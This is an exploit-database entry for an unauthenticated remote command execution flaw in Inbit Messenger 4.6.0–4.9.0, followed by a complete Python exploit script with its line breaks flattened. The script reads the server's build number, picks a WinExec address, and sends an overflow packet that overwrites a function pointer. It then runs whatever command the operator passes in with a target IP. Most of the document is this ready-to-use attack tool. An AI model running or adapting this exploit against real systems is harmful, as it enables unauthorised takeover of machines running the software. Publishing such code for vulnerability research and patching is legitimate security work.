Headline
Inbit Messenger 4.9.0 Remote Command Execution
Inbit Messenger versions 4.6.0 through 4.9.0 suffer from an unauthenticated remote command execution vulnerability.
# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)# Date: 11/08/2022# Exploit Author: a-rey # Vendor Homepage: http://www.inbit.com/support.html# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html# Version: v4.6.0 - v4.9.0# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md#!/usr/bin/env python3# -*- coding: utf-8 -*-import sys, socket, struct, string, argparse, loggingBANNER = """\033[0m\033[1;35m╔══════════════════════════════════════════════════════════════════════════╗║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║╚══════════════════════════════════════════════════════════════════════════╝\033[0m by: \033[1;36m █████╗ ██████╗ ███████╗██╗ ██╗ \033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║ \033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝ \033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ \033[1;36m██║ ██║ ██║ ██║███████╗ ██║ \033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ \033[0m"""# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build numberTARGETS = { 4601 : 0x005f3360, 4801 : 0x005f7364, 4901 : 0x005f7364,}# NOTE: min and max values for length of commandCMD_MIN_LEN = 10CMD_MAX_LEN = 0xfc64# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflowBAD_BYTES = b"\x3e" # >def getWinExecAddress(targetIp:str, targetPort:int) -> bytes: # NOTE: send packet with client build number of 4601 for v4.6.0 pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00" logging.info(f"trying to get version information from {targetIp}:{targetPort} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((targetIp, targetPort)) s.send(pkt) _d = s.recv(1024) # find build tag in response if b'<c>' not in _d: logging.error(f"invalid version packet received: {_d}") sys.exit(-1) s.close() try: build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')]) except: logging.error(f"failed to parse build number from packet: {_d}") sys.exit(-1) # get the IAT offset if build not in TARGETS.keys(): logging.error(f"unexpected build number: {build}") sys.exit(-1) # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]' winexec = struct.pack("<I", TARGETS[build] - 0x38) logging.success(f"target build number is {build}") logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}") # sanity check for bad bytes in WinExec address for c in winexec: if c in BAD_BYTES: logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}") sys.exit(-1) return winexecdef exploit(targetIp:str, targetPort:int, command:bytes) -> None: # NOTE: command must be NULL terminated command += b"\x00" # check user command length if len(command) < CMD_MIN_LEN: logging.error(f"command length must be at least {CMD_MIN_LEN} characters") sys.exit(-1) if len(command) >= CMD_MAX_LEN: logging.error(f"command length must be less than {CMD_MAX_LEN} characters") sys.exit(-1) # get WinExec address winexec = getWinExecAddress(targetIp, targetPort) # get a string representation of the length of the command data after the <> tag parsed by atol() pktLen = str(len(command)) pkt = b"<" # start of XML tag/stack overflow pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character pkt += b"\x00" # NULL terminator to force atol to ignore what comes next # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol() pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite pkt += winexec # indirect function pointer we control pkt += b">" # end of XML tag/stack overflow pkt += command # the command set to the call to WinExec() logging.info(f"sending payload to {targetIp}:{targetPort} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((targetIp, targetPort)) s.send(pkt) s.close() logging.success("DONE")if __name__ == '__main__': # parse arguments parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER) parser.add_argument('-t', '--target', help='target IP', type=str, required=True) parser.add_argument('-c', '--command', help='command to run', type=str, required=True) parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883) args = parser.parse_args() # define logger logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO') logging.SUCCESS = logging.CRITICAL + 1 logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m') logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m') logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m') logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m') logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args) # print banner print(BANNER) # run exploit exploit(args.target, args.port, args.command.encode())